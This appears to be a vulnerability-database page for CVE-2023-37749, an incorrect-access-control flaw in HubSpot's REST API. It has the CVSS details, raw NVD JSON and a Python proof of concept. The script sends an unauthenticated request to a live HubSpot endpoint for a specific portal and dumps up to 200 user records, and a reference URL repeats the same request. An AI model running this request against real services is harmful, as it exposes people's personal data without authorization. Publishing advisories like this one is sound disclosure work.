Security Vulnerability Report
中文
CVE-2023-37749 CVSS 5.3 MEDIUM

CVE-2023-37749

Published: 2025-10-27 16:15:34
Last Modified: 2026-04-15 00:35:42

Description

Incorrect access control in the REST API endpoint of HubSpot v1.29441 allows unauthenticated attackers to view users' data without proper authorization.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

HubSpot v1.29441

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-37749 PoC - HubSpot Unauthenticated User Data Access # Affected Version: HubSpot v1.29441 # Vulnerability: Incorrect Access Control in REST API Endpoint import requests import json def exploit_hubspot_cve_2023_37749(): """ Exploit for CVE-2023-37749: HubSpot REST API Unauthorized User Data Access This PoC demonstrates how an unauthenticated attacker can access user data through a misconfigured REST API endpoint. """ target_url = "https://app.hubspot.com/api/external-options/v2/pagedFetch/0-1/OWNER" params = { "useIndexOffset": "true", "portalId": "22152277", "clienttimeout": "14000", "hs_static_app": "settings-ui-users", "hs_static_app_version": "1.43001", "limit": "200", "q": "", "offset": "0", "includeDeleted": "true" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json" } print("[*] Attempting to exploit CVE-2023-37749...") print(f"[*] Target URL: {target_url}") try: response = requests.get(target_url, params=params, headers=headers, timeout=30) if response.status_code == 200: print("[+] Request successful - User data may be exposed!") data = response.json() print(f"[+] Response received: {json.dumps(data, indent=2)[:500]}...") return data elif response.status_code == 401: print("[-] Authentication required - Endpoint may be patched") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": exploit_hubspot_cve_2023_37749()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-37749", "sourceIdentifier": "[email protected]", "published": "2025-10-27T16:15:34.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the REST API endpoint of HubSpot v1.29441 allows unauthenticated attackers to view users' data without proper authorization."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://app.hubspot.com/api/external-options/v2/pagedFetch/0-1/OWNER?useIndexOffset=true&portalId=22152277&clienttimeout=14000&hs_static_app=settings-ui-users&hs_static_app_version=1.43001&limit=200&q=&offset=0&includeDeleted=true", "source": "[email protected]"}, {"url": "https://gist.github.com/0xDBJ/28072f7eea42571d5b4ebaabdcb21cce", "source": "[email protected]"}, {"url": "https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "source": "[email protected]"}]}}